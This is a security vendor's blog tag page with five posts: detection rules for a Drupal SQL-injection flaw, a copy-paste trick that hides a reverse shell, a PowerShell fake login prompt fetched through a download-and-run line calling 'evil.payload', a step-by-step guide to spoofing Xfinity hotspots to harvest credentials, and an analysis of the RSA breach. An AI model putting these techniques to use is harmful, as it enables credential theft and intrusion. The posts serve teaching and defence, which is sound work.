Posts tagged: 'network security'

The following posts are associated with the tag you have selected. You may subscribe to the RSS feed for this tag to receive future updates relevant to the topic(s) of your interest.

https://blog.logrhythm.com/tags/network-security/feed
 
 

Patch Drupal Yesterday – CVE-2014-3704

If you are currently running any Drupal 7 web applications, there is a very critical SQL Injection vulnerability affecting Drupal Core. This was publicly released on Wednesday, 10/15/14 along with an exploit. The proof of concept simply modifies the administrator’s username and password, allowing an attacker to gain administrative access to the Drupal application.

“Drupal 7 includes a database abstraction API to ensure that queries executed against the database are sanitized to prevent SQL injection attacks.

A vulnerability in this API allows an attacker to send specially crafted requests resulting in arbitrary SQL execution. Depending on the content of the requests this can lead to privilege escalation, arbitrary PHP execution, or other attacks.

This vulnerability can be exploited by anonymous users.”

Drupal Security Team

SQLi test against Drupal 7.31 application

SQL injection test against Drupal 7.31 application

The vulnerability is ranked as Highly Critical, a 5 out of 5 on the Drupal Security Team’s risk scale… A patch has been released and upgrading to Drupal Core version 7.32 will remediate this vulnerability. If you host Drupal sites, it is imperative that you patch soon. One quick way to test and see what sites have yet to be patched would be to make a simple bash loop to check all the known Drupal sites in your environment and see if any of them are still vulnerable.

Drupal 7 SQLi Sweep Test

Drupal 7 SQLi Sweep Test

Be very careful doing this, it will modify the admin’s password on every vulnerable site!

Even though this was only publicly released just a couple days ago, there is a chance that this vulnerability has been known for quite some time as it affects every Drupal 7 web application running version 7.31 or older. Luckily there are log traces of this attack that can be used to ascertain whether or not the vulnerability has been exploited.

The evidence in question lies within the Drupal Watchdog logs. Ideally this information should be extracted and stored in a SIEM or similar central logging solution. However, if you are only moving server logs off of the host then you are missing a good portion of the actionable evidence. Not to mention that once an attacker has gained access they can simply clear out the logs, erasing all remnants of the attack within the application.

Clearing the logs...

Clearing the logs…

If you are not offloading these logs to a SIEM and are lucky enough to still have Watchdog logs available following a breach, then you should search through these for the following four events in succession. Sometimes there will only be the first three (from bottom to top) as the attacker may wait to actually log in.

Correlated Events

Correlated Events

The details of the three messages to look for are:

  1. Warning: mb_strlen() expects parameter 1 to be string, array given in drupal_strlen() (line 478 of /var/www/redman/includes/unicode.inc).
  2. Warning: addcslashes() expects parameter 1 to be string, array given in DatabaseConnection->escapeLike() (line 981 of /var/www/redman/includes/database/database.inc).
  3. Login attempt failed for .

The nice thing about this attack is that the logs consistently provide us with valuable data, making it very easy to create a correlated events on a successful attack. So, if you are unsure of whether or not all of the Drupal 7 sites have been adequately patched, it’s a good idea to alert the SOC to successful attacks against any Drupal applications in the environment. Using LogRhythm this can be done with a simple correlated event rule block that looks for these messages in quick succession. I’ve included an example rule below that simply looks for this activity within the Watchdog logs. The first of which alerts on the message data from the first portion of the attack within Drupal 7 UDLA logs…

Rule Block 1

Rule Block 1

The second rule block looks for the next error message in the Watchdog database table…

Rule Block 2

Rule Block 2

And the third rule block looks for a failed login with a [ blank username ].

Rule Block 3

Rule Block 3

All of which is grouped by the same Impacted Host.

AIE Rule Group By

AIE Rule Group By

You could also add a rule looking for a successful login using the admin account. However they could change the admin’s username and may not even log in for quite some time following a successful attack. For this reason I did not include the fourth potential log message in the rule.

If you have a WAF that is tuned properly, this attack should be blocked. The LogRhythm Web Application Defense Module can assist with detecting this attack as well. Due to the popularity of this CMS, many organizations currently have a very large number of Drupal applications and often have little control over when they get patched. For this reason, it is beneficial to now when these applications are successfully compromised at the very least. Alerting on this activity will allow the security team to make a business case to get the sites patched in a reasonable amount of time as the only true way to fix this issue is to upgrade to Drupal 7.32 as soon as possible.

Tags: , , , , , , , ,

none | SecuritySIEM

 
 

What you see is not what you copy

Tricking users into copying different commands from what is displayed on a web page…

OK, maybe I’m late to this party but I recently came across a very cool attack vector that I had not heard about until now. There’s an excellent write up on this here that was actually published in 2008, so I won’t go through the details of how this works. However you can view an interactive demo of this in action here.

Essentially, this is ruse that can be used to trick people into running a different command on their system than what they thought they had initially copied from a website. Go ahead and try it out over at JSFiddle.net, just copy the text within the ‘result’ box and paste it into a text editor to review the full command. Neat, huh?!

HTML rendered text example

HTML rendered text example

HTML source of the attack - python reverse shell

HTML source of the attack – python reverse shell

The demo above shows an attempt to shovel a reverse python shell back to the attackers system though make it appear like the command simply echoed “this is a test” to the screen as expected. This proof of concept is demonstrated below.

Attack Proof-of-Concept – Click To Enlarge

This is merely another vector that can be leveraged in social engineering attacks. Demonstrating the risk with blindly copying + running commands from websites that you do not trust. Always re-type commands such as this or paste them into a text-editor prior to running them directly. Also, if you are cloning a repository from a resource such as GitHub, review the code before integrating this into your project. All too often websites are backdoored due to the themes or modules that have been downloaded and installed from an un-trusted repository without going through code-review. In general, you shouldn’t implicitly trust anything at face value; trust but verify…

Tags: , , , , , ,

none | SecurityUncategorized

 
 

Do You Trust Your Computer?

These past couple weeks have been a blur. I had the opportunity to attend and speak at both AppSecUSA and DerbyCon and can not say enough good things about these conferences. There were so many excellent talks and activities that it’s hard to pinpoint any one highlight due to the sheer number of talented folks in attendance.

Instead, I’d like to discuss some of the topics regarding insider threats, pivoting, and gaining access to plain text credentials once inside an organization. There are many tactics that attackers will use to avoid detection while ransacking a company from the inside-out. Many of the talks this year focused on Windows and PowerShell. Just a few of my favorites were Et Tu Kerberos by @obscuresec, Abusing Active Directory in Post-Exploitation by @Carlos_Perez, PowerShell MITM by @subTee, Passing the Torch by @harmj0y and @davidpmcguire, among many others. This topic is interesting because the focus is centered around built-in Windows functionality as opposed to tools and exploits. You really should watch the talks to understand the full impact of the concepts presented.

AppSecUSA and DerbyCon

AppSecUSA + DerbyCon

However, I am not going to talk about getting shells or pivoting in this post… Instead, I want to look into other abuses of functionality that are possible in the enterprise. One of my favorite attack vectors is imitating a legitimate service, program, etc. and using this to gain privileged access to resources. This approach has great potential in an enterprise environment and is only limited by the adversaries creativity…

While attending @FuzzyNop‘s DerbyCon talk, he mentioned some neat ways to set up a C&C using twitter along with some other useful tricks. However, he showed the crowd one thing that I hadn’t seen before. A really useful OSX one-liner that simply pops-up a prompt asking for your password, masquerading as though it originated from a legitimate application. This is very easy to execute on remote hosts via SSH and makes my old pranks using the ‘say’ command look pretty lame.

OSX Password Prompt Pop Up

OSX Password Prompt Pop Up

After playing around with the OSX command in the office, I wanted to do the same thing in Windows. So, I put together a short PowerShell script… It basically pops-up a ‘Layer 8 Error’ alert box that notifies the user that ‘there was an issue with their account,’ followed by a login prompt.

PowerShell Pop Up Pwn

PowerShell Pop Up Pwn

The nice thing with PowerShell, aside from PowerSploit of course, is that you can easily execute PowerShell on just about any modern Windows host. Not to mention that you don’t even need to move any files to the target. Also, I was able to tie in to the existing PromptForCredential() function and pass input received through ConvertFrom-SecureString to convert the credentials entered to plain text. Depending on the environmental restrictions in place, you can use WMIPSRemoting, PSExec, meterpreter, or my favorite avenue is hosting the file somewhere and pulling it down to the target:

IEX (New-Object Net.WebClient).DownloadString(‘hxxp://evil.payload/ppwn.ps1’)

If you already have a meterpreter session, you can use the exec_powershell post exploitation module to launch the script on the host.

Meterpreter PowerShell_Exec

Metasploit PowerShell_Exec Post Exploitation

After obtaining administrative rights on the host, you can target other users by migrating to a process owned by that user and launching the PowerShell script. Please note, this can be hit-or-miss depending on the process you target.

targeting other users

Targeting Specific Users

If the user attempts to just close out the dialog box or the captured credentials don’t work, you can re-run it as many times as necessary by calling the ppwn() function. Eventually they’ll fill it out just to make it go away…

PowerShell Script Reuse

PowerShell Script Reuse

This is just a simple proof of concept that demonstrates one of the many ways to steal plain text credentials using a ‘trusted dialog box.’ If you’re interested in playing with this script, it can be downloaded at the link below. Feel free to reach out if you have any recommendations for my very poorly coded PowerShell script or similar tricks to share.

https://github.com/gfoss/misc/blob/master/PowerShell/popuppwn.ps1

There are many other ways to pull off this same attack, along with various methods that do not require any user interaction whatsoever. The point is that these are simple techniques and adversaries have unlimited avenues regardless of the environment variables and operating systems they are targeting. In short, any service or application that you use regularly can be cloned and used against you. They will get in, the trick is finding them once they are inside…

you’re doing it wrong

Defending is much more difficult than attacking in general. However, there are many steps you can take to detect attacks such as this. Primarily, services such as SSH and PowerShell Remoting should be disabled or limited to specific users on desktops unless there is valid business justification to enable such functionality. Along with disabling risky services, understanding your network architecture and most importantly – log data, is absolutely critical when it comes to monitoring the network. Taking precautions to protect clients using a content filtering Web proxy with SSL inspection capabilities and implementing proper network segmentation are additional defensive layers that make life more difficult for the attacker. If you know where your systems are and understand their expected behavior, you can tune out a significant amount of the ‘noise’ and focus on the unknown unknowns – often referred to as insider threats.

So… Do you still trust your own computer?

Tags: , , , , , , ,

none | Security

 
 

Xfinity Pineapple

Notice – LogRhythm nor the author of this blog post are liable for any illegal activities conducted with this information. LogRhythm does not condone or support such activity, this post is simply a proof-of-concept to explore the risks of open wireless access points.

Open wireless access points have always been a hot topic within the security community. Due to their nature, there are a plethora of attacks that allow hackers to breach these networks, mirror legitimate access points, man-in-the-middle traffic and much more. These attacks are conducted every day on many networks all over the planet. Hackers will leverage anything from the Wireless network at your local Starbucks, the airport, airplanes, hotel chains, personal guest networks, and more to steal personal information. You name it, someone out there has found a new way to exploit it. Still trust those pay-as-you-go WiFi hot spots that ask you to supply credit card information?

Which brings us to Comcast… They have been steadily implementing their plan to leverage their customers Comcast access points (only those owned by Comcast, not personal equipment) to distribute wireless access to any Comcast subscriber that happens to be in the vicinity.

“Comcast’s newest Wireless Gateway broadcasts two WiFi signals. By default, one is securely configured for the private use of the home subscriber. The second is a neighborhood “xfinitywifi” network signal that can be shared. This creates an extension of the Xfinity WiFi network and will allow visiting Xfinity Internet subscribers to sign in and connect using their own usernames and passwords.”
Comcast

All you need to do is locate a nearby access point, log in using your Comcast credentials and start browsing the net through someone’s home router. There is a bit of controversy over this feature — however this is beside the point. What I’d like to talk about today is how hackers can leverage this vulnerability feature for evil and why consumers should be wary of using open wireless access points in general.

To help illustrate this risk, I’ll be using the WiFi Pineapple — a great little device by the folks at Hak5 that most security professionals are familiar with. The Pineapple comes equipped with a myriad of tools to help trick clients into passing their traffic through this access point so that it can be sniffed, altered, modified, or worse. For our specific attack, we’ll be imitating an Xfinity WiFi access point and using this to steal users Comcast account credentials among other nefarious activities.

First, we need to obtain the code served up by one of these access points, learn how it works, and build our own version. Xfinity access points are popping up everywhere, so finding one is incredibly easy.

Figure 1: hot spot map

Figure 1: Xfinity Hot Spot Map

Upon finding an access point without even leaving my neighborhood, I cloned the code from the landing page, modified the HTML and added my own form processors to create two identical versions of the Comcast (standard and web) splash pages. This code can be downloaded here:

https://github.com/gfoss/xfinity-pineapple/

From here, this code can either be uploaded to the Pineapple or stored on a separate (internet-accessible) server if you’ve run out of free space on the Pineapple. For this walk through, we will host the code on the Pineapple itself. To keep this seperate from the other Pineapple tools, SSH into the Pineapple and make a new directory in the /www/ folder, we’ll call this folder ‘x‘.

Figure 2: New Folder

Figure 2: New Folder

Within the github repository, there are two landing page options. One is the default web landing page (login-page-option1) and the other is the default mobile landing page (login-page-option2). Either one will work or you can get creative and adjust the page displayed based on User Agent Strings.

Figure 3: Landing Page Options

Figure 3: Landing Page Options

With the folder in place, SCP the code from the xfinity-pineapple/login-page-option(1|2)/ directory to the new folder.

Figure 4: Upload the code

Figure 4: Upload the Code

With the authentication page in place, we need to change the name of our access point to ‘xfinitywifi’ to mimic the legitimate Xfinity access point. This can be accomplished under the Karma Configuration menu.

Figure 5: Karma Configuration

Figure 5: Karma Configuration

Next, you will need to configure a redirect and force the user to log in. There are multiple ways to do this. The simplest option is to use the Pineapple DNSSpoof Infusion. This method will look for common keywords entered by the victim in the URI and redirect them to the Xfinity landing page. Going this route, they are more likely to catch on that something is up, especially when attempting to visit Google and it keeps redirecting them back to the Xfinity landing page…

Figure 6: DNSSPoof

Figure 6: DNSSpoof

The second and more believable option is to go with a captive portal. This allows you to pass the users through a splash page that you configure and force them to ‘authenticate’ before accessing the internet. Once the victim has ‘logged in’ successfully, they may now browse the internet. To accomplish this, you will need to install and enable the Evil Portal Pineapple Infusion.

Figure 7: Evil Portal Install

Figure 7: Evil Portal Install

Once the Evil Portal has been installed, open the module configuration page and follow the steps exactly as they are listed. Once you have installed the dependencies, made configuration changes, and tested to be sure that the splash page works, modify the /etc/nodogsplash/htdocs/splash.html page to reflect a false Xfinity portal. An example configuration page has been included within the Xfinity Pineapple Github repository and the splash page can be updated either through the Pineapple interface or via SSH. You may want to back up the original splash.html page at this point.

Figure 8: Evil Splash page

Figure 8: Evil Splash Page

With the evil splash page configured to push users to the ‘authentication portal’ upon joining the access point, launch NodogSplash from the Pineapple interface and be sure to click ‘Start Once’ as this interface does have a tendency to hang. If it does hang, SSH to the Pineapple and run: killall nodogsplash.

Figure 9: NodogSplash Configuration

Figure 9: NodogSplash Configuration

With the configuration up and ready for users to connect through your access point, enable the wireless service on the Pineapple and verify that you show a newly available access point, ‘xfinitysifi’. Now sit back and watch as users join your access point and enter their Xfinity account credentials, which will be stored in the auth.log file. With these credentials, someone of lesser morals could use these to conduct illegal activities and have them traced back to the owner of the Comcast account. Not only that, but once the victim is browsing through the Pineapple, this is only the beginning…

Figure 10: Tail auth.log

Figure 10: Tail auth.log

You’ll notice that this file logs two password attempts, this is because the landing pages are configured to always fail the first attempt and act as though the second attempt was valid and pass them through to the internet. This was done on purpose to catch multiple authentication attempts in the event they miss-type them during one of the entries.

For bonus points, try setting up an evil Kali Linux access point using a Raspberry Pi for an even greater range of attacks when users connect. Depending on your home router’s configuration, you may even be able to set up a separate guest network as a false ‘xfinitywifi’ hotspot.

Figure 11: False Xfinitywifi DDWRT guest network configuration

Figure 11: False xfinitywifi DDWRT Guest Network Configuration

None of what we talked about here applies explicitly to Comcast, this can be done on any public access point, though stealing Comcast credentials does have the added advantage of providing attackers with credentials they can later use to mask their online activity. For this reason, users should take steps to protect themselves and be cautious when using these networks.

  • First and foremost, Comcast customers can disable this feature if they are so inclined.
  • If you have connected to an Xfinity access point in the past, you will pre-authenticate to any Xfinity access point going forward, this includes a masquerading Pineapple. This will not expose your credentials, but all your traffic will be passed through a potentially hostile access point.
  • When not using WiFi on your phone / laptop / tablet, disable it, especially when in crowded areas such as an airport.
  • When joining one of these access points, try to verify that one really does exist in this area using the Xfinity WiFi app on iOS/Android or by reviewing their Access Point Map.
  • Real Xfinity access points will redirect you to https://wifilogin.comcast.net to authenticate, though this could also be fudged by an attacker using DNS Spoofing so it is not a dead giveaway. The real identifier here is that the legitimate landing page is using SSL and has a valid certificate. This can be spoofed as well, but is much harder.
  • When connecting to any open Wireless network, use a VPN service to encrypt your traffic.

Then again, you can always just ask someone for their Comcast credentials…

Figure 12: I can haz ur password?!

Figure 12: I can haz ur password?!

Tags: , , , , , , ,

none | SecurityUncategorized

 
 

Closing the backdoor…

Closing the backdoor…

Today Mikko Hypponen from F-Secure announced they had retrieved and analyzed the excel file used to create a backdoor into RSA.

The attacker used a phishing attempt to send an excel file loaded with an embedded flash object to a recipient inside RSA.   Once opened, the excel file used an advanced 0-day exploit executed by the embedded Flash object to create backdoor that allows full remote access to the infected workstation.

Certainly this brings up the obvious warnings of not opening strange attachments, etc.  However, the reality is that spear phishing attempts work.  This wasn’t even a case of a highly sophisticated spear phishing attack (you can see the original email on Mikki’s blog entry listed above).   Examples of successful spear phishing, like the IMF breach and the Epsilon breach, highlight that we should not only continue to educate end users to recognize the red flags and the dangers of opening attachments, but be prepared for the inevitable human mistake.

If a user falls prey to a phishing attempt, and a 0-day exploit evades our endpoint security, what can we do?

  • In this case, the backdoor opened connections to servers at mincesure.com that have been used in previous espionage attacks.  Using an IP reputation list could have detected the initial connection and actions could have been taken to stop it.
  • What if they hadn’t used a known IP address?  If you can detect the IP address geo-location, you can see the location is Venezuela.  Using geo-location could have detected irregular data traffic being sent to a uncommon destination.
  • Or what if the location wasn’t interesting?  Once the backdoor was established, having a mechanism to recognize which user accounts access files on the workstation could have identified abuse the system or other accounts.
  • Maybe the user accounts had permission to the files.  In that case it was the sequence of access to the files after the new connection to an unknown location had been created that could have registered that an attack was occurring.

While it’s important to continually educate our end users on attacks they can help prevent, as security professionals we must have safeguards for when mistakes are made.  Although the attacks themselves may not be sophisticated, they can still bypass many of our traditional security solutions.  However, with behavior analysis and pattern recognition we should be able to detect and prevent these types of breaches.

 

Tags: , , , , , , , , , ,

0 Comments | Digital ForensicsIT OptimizationSecuritySIEM